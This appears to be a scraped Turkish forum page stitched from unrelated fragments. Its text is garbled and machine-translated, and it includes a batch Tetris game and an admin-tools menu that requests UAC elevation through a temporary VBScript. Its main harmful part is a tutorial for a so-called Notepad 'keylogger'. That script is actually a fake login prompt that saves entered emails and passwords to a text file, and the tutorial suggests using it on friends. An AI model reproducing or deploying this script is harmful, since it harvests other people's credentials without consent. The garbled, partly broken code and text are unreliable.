Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof










Not Defteri Kullanarak Keylogger Nasıl Oluşur?

Yöntem çok basit ve kolaydır ve bunu yapmak için herhangi bir araca ihtiyaç duymaz, ancak görevi yerine getirmek için sadece bir not defteri gerekir. Devam etmek için aşağıdaki postayı takip edin.

Not Defteri ile Keylogger Oluşturma:

Adım 1. Her şeyden önce, size basarak pencerelerde not defteri açmak için gereken Pencere seçerek ardından düğmesi ve notepad seçenekler arasından . Şimdi not defterinde aşağıdaki kodu kopyalayıp yapıştırın.

Türkçesi
@echo off
color a
title Giriş
cls
echo Lütfen e-posta adresinizi ve parolanızı girin
echo.
Eko.
Cd "C: Logs"
set / p kullanıcı = Kullanıcı adı:
set / p pass = Şifre:
echo Username = "% user%" Password = "% pass%" >> Log.txt
start >> Program Burada <<
çıkış
ingilizcesi
@echo off
Color a
Title Introduction
Cls
Echo Please enter your email address and your password
Echo.
Echo.
Cd: "C: Logs"
Set / p user = Username:
Set / p pass = Password:
Echo Username = "% user%" Password = "% pass%" >> Log.txt
Start >> Program Here <<
exit

Adım 2. Şimdi bu dosyayı masaüstünüze Logs.bat olarak kaydedin.



Adım 3. Şimdi logs adında yeni bir klasör oluşturun. (Keylogger'ın yalnızca klasör adı günlüklerse çalışacağına dikkat edin). Klasörü kesin ve C sürücüsüne yapıştırın.


Adım 4. Şimdi dosyanızı Log.bat'ı test edin ve ardından Kullanıcı Adı ve şifresini girdikten sonra


Adım 5. C sürücüsündeki klasörü açın ve kayıtlı tüm anahtarları orada otomatik olarak oluşturulan bir metin dosyası olarak kaydedin.



Bu kadar! Işiniz bittiğinde, not defterinde başarıyla bir keylogger yarattınız .

Yani yukarıdaki tüm hakkında Not Defteri'ni kullanarak bir Keylogger Oluşturma hakkında . Bu yöntemle, toplu iş dosyasına girilen klavyenizin tuş vuruşlarını kolayca kaydedebilirsiniz. Ve ayrıca arkadaşlarınıza şoklarını vermek için bunları kullanıcı adlarını ve şifrelerini söyleyerek de kullanırsınız. ı beğendiğinizi umarız, , paylaşmayı ve yorum bırakmayı unutma.
Bir Teşekkür YeterŞimdi logs adlı kesme yeni bir
klasör oluşturun ve
bilgisayarınızın C sürücüsüne
yapıştırın. (Keylogger'ın
yalnızca bu klasör için
çalışacağından emin olun)
Logs.bat dosyanızı test etmek
için dosyayı açın ve kullanıcı
adınızı ve şifrenizi bu dosyaya
girin. Şimdi C sürücüsündeki logs
klasörünü açın ve logs açık
olarak adlandırılan bir dosya
olacaktır. İşte, Logs.bat
dosyasında yapılan tüm tuş
vuruşlarını şimdi görebilirsiniz.Şimdi yapmanız gereken Log.bat
dosyasını test etmek ve
kullanıcının adını ve şifreyi
girmeniz gerekiyor. Bundan
sonra, C sürücüsünde saklanan
klasörü açmanız ve verilen tüm
kaydedilmiş anahtar
günlüklerinin normal bir metin
olup olmadığını kontrol etmeniz
gerekir. Bu otomatik olarak
oluşturulur. Not defteri
keylogger yönteminde önemli
adımlardır. Adım 7: Yapılırsa,
not defterinde bir keylogger
yapmak için not defteri
keylogger'ını başarıyla
geliştirdiniz. Açıkçası,
yukarıdaki adımla, toplu iş
dosyasında girilen veya
kullanılan çeşitli klavyenin tuş
vuruşlarını kolayca
kaydedebilirsiniz. Artı
arkadaşlarına, kullanıcı adının
ve şifresinin not defterinde
olduğunu söyleyerek bile şaşkına
çevirebilirsiniz. Umarız yukarıda
verilen bir keylogger not
defterini nasıl yapacağınız
konusunda bir metodu
anlarsınız. Yukarıdaki tüm
adımları izlerseniz, bu not
defteri keylogger'ını kolayca
kullanabilirsiniz.
DETAYLI


------------------------------


@echo off
color a
mode 100
:A
echo %random%%random%%random%%random%%random%%random%%random%
echo %random%%random%%random%%random%%random%%random%%random%
....
....​

-----------------------------































Biri oyun mu dedi? :p Buyurun bunu internetten buldum çok güzel.

Ekran Alıntısı.PNG Ekran2 Alıntısı.PNG

Kod:
@echo off
@title Tetris v 1
@mode con cols=28 lines=24

:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)

Set "Game=%0"

Call :Logo

:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg

:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
Goto :Main

:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic

:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::

:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.        You lose!
Goto :End

:Win
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.         You win!  
Goto :End

:End
Echo.    Thanks for playing.
Echo.  Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y1,X6Y0,X7Y0,X8Y0
Set Figure6_Pos2=X8Y2,X8Y1,X8Y0,X7Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xxx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use keys A,S,D,R,X
Echo.
Echo. A = Move Shape Left
Echo. S = Move Shape Down
Echo. D = Move Shape Rigth
Echo. R = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Easteregg

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof




























E

Eyilciyu
































Şunu da bizzat ben yaptım.

Ekran Alıntısı.PNG

Kod:
@echo off

:: BatchGotAdmin
:-------------------------------------
REM  --> Check for permissions
    IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
:--------------------------------------

:menu
cls
For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set mydate=%%c%%a%%b)
For /f "tokens=1-2 delims=/:" %%a in ("%TIME%") do (set mytime=%%a:%%b)
title Komut ˜stemi Ara‡lar
echo --------------------------------------------------------------------------------
echo Komut ˜stemi Ara‡lar                                         %mydate% - %mytime%
echo --------------------------------------------------------------------------------
echo.
echo Bir ara‡ se‡in
echo ==============
echo.
echo  [0] €kŸ
echo  [1] Hakknda
echo  [2] A§ Sorun Gidericisi
echo  [3] €alŸan ˜Ÿlemler ve Hizmetler Listesi
echo  [4] Bitlocker Src Kilitleme
echo  [5] Windows Update Temizleme
echo  [6] Windows Update Hizmetini Durdur/BaŸlat
echo  [7] Gereksiz Nvidia Dosyalarn Temizle
echo  [8] IP Adresi ve A§ Yaplandrmas Bilgileri
echo  [9] Ykl Srcler Listesi
echo [10] Yant Vermeyen Bir Uygulamay Sonlandr
echo [11] Sistem Bilgisi
echo [12] Yazdrma Kuyru§unu Temizle
echo [13] Windows 10 i‡in Veri Toplama ve Telemetri Hizmetleri Ayarlar
echo.
set /p "op=€alŸtr:"
if %op%==-1 goto -1
if %op%==0 exit > nul 2>&1
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 goto 3
if %op%==4 goto 4
if %op%==5 goto 5
if %op%==6 goto 6
if %op%==7 goto 7
if %op%==8 goto 8
if %op%==9 goto 9
if %op%==10 goto 10
if %op%==11 goto 11
if %op%==12 goto 12
if %op%==13 goto 13
cls
goto menu

:-1
@title Tetris v 1
@mode con cols=28 lines=24

:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)

Set "Game=%0"

Call :Logo

:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg

:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
Goto :Main

:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic

:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::

:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.        You lose!
Goto :End

:Win
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.         You win!  
Goto :End

:End
Echo.    Thanks for playing.
Echo.  Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
